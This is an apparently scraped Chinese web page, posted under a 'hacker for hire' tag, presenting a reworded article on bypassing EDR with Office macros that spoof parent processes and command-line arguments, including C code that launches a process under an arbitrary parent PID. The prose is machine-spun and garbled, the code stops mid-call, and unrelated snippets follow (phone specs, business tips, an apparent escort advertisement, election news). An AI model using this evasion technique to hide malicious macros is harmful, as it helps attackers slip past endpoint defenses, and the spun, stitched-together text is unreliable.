绕开EDR:结构Office宏欺骗父进程和命令行参数

访客3年前关于黑客接单773

一、情况

大部分当代EDR解决 *** 都应用个人行为检验的 *** ,容许依据其个人行为来检验恶意程序,而不是只是应用IoC(比如:文档hash值、网站域名)。在本文中,我得出了欺骗新进程的父进程和命令行参数这二种技术的VBA完成方式。该类完成容许制做更为隐秘的Office宏,并使宏形成的进程看上去好像由另一个程序流程(比如explorer.exe)建立的,并具备看起来良好的命令行参数。

必须表明的是,我并不是明确提出这种技术的创作者,这种技术是由Will Burgess、Didier Stevens和Casey Smith明确提出的。

更先,大家将解读在Visual Basic中完成的技术情况。我之一次听见这种內容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演说以后。

1.1 父进程欺骗

当进程派生出子进程时,比如Sy *** on这类的EDR解决 *** 会纪录该实际操作,另外会纪录各种各样信息,比如:新创建的进程名字、hash值、可实行途径及其相关父进程的信息。这针对预制构件个人行为标准十分有协助,例如,“Microsoft Word始终不容易派生出powershell.exe”。依据我的工作经验,这种标准具备较低的多元性、较高的增加值,仅在非常少状况下能产生乱报。

事实上,在应用Windows当地API建立进程时,能够特定一切进程做为父亲进程。这并并不是一个新鲜事儿,因而我不想在文中中更为详尽地叙述。事实上,Didier Stevens早在十年前就读过有关这一方面的文章内容。下边是一个C 编码的实例供大伙儿参照,将应用随意进程做为父进程,派生出cmd.exe。

// 本编码根据

#include "pch.h"

#include

#include

#include

#include

int main(int argc, char **canttrustthis)

{

PROCESS_INFORMATION pi={ 0 };

STARTUPINFOEXA si={ 0 };

SIZE_T sizeToAllocate;

int parentPid=9524; // Could be found dynamically as well

// Get a handle on the parent process to use

HANDLE processHandle=OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

if (processHandle==NULL){

fprintf(stderr, "OpenProcess failed");

return 1;

}

// Initialize the process start attributes

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

// Allocate the size needed for the attribute list

si.lpAttributeList=(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)){

fprintf(stderr, "UpdateProcThreadAttribute failed");

return 1;

}

si.StartupInfo.cb=sizeof(STARTUPINFOEXA);

printf("Creating process...

");

BOOL success=CreateProcessA(

NULL, // App name

"C:\\\\Windows\\\\system32\\\\calc.exe", // Command line

NULL, // Process attributes

NULL, // Thread attributes

true, // Inherits handles?

EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

NULL, // Env

"C:\\\\Windows\\\\system32", // Current dir

(LPSTARTUPINFOA) &si,

&pi

相关文章

红米k20和pro的区别

CPU:红米noteK20配用骁龙730,而Pro配用骁龙855;闪存芯片:红米noteK20为多通道,Pro为双通道内存;电池充电:红米noteK20适用18W快速充电,而Pro适用27W快速充电;...

10万投资做什么生意好?这些生意前景极佳!

十万项目投资投资什么好?在初创期有十万的自主创业本钱实际上你早已比绝大多数有创业计划的人要领跑了,十万去项目投资可以做的新项目确实许多,假如你还不知道十万项目投资投资什么好得话,那麼下面要我为你推荐三...

如何做网站?如何从零开始建立自己的网站

如何做网站?如何从零开始建立自己的网站

最近很多互联网营销课程的新学员都会问我一个问题,建设网站是不是都需要专业的网站制作工程师才能完成? 基于这个问题,我下面给大家一一解答: 1、如何零基础建立自己的网站 先说一下网站的组成,我们知...

深圳高端商务服务联系方式-【金晶】

“深圳高端商务服务联系方式-【金晶】” 服务细则说明:地点要求:全国一二??城市均可。深圳,有着丰富的在飞航班空姐,教师,留学海龟,兼职白领,在校大学生等。通过以上的方式可以快速的找到“深圳宝山区商务...

特朗普团队在美国密55年授衔歇根州的诉讼面临失效

  据美国有线电视新闻网17日报道,密歇根州一名法官表示,特朗普团队对密歇根州大选舞弊的诉讼面临自动失效的局面,这一诉讼要求阻止对密歇根州计票结果的确认。密歇根州联邦法官表示,尽管诉讼被描述为需要紧急...

蒙迪欧贴膜多少钱,新蒙迪欧贴膜

  你好,这王佳丽款车总关心膜的话,价位在1200到2000以内。这个价位,因为,贴的品牌纷歧样,价位也会有差异。   你好!或许2000多~好的更贵如有疑问,请追问。   一般的全车价值贴膜也就是三...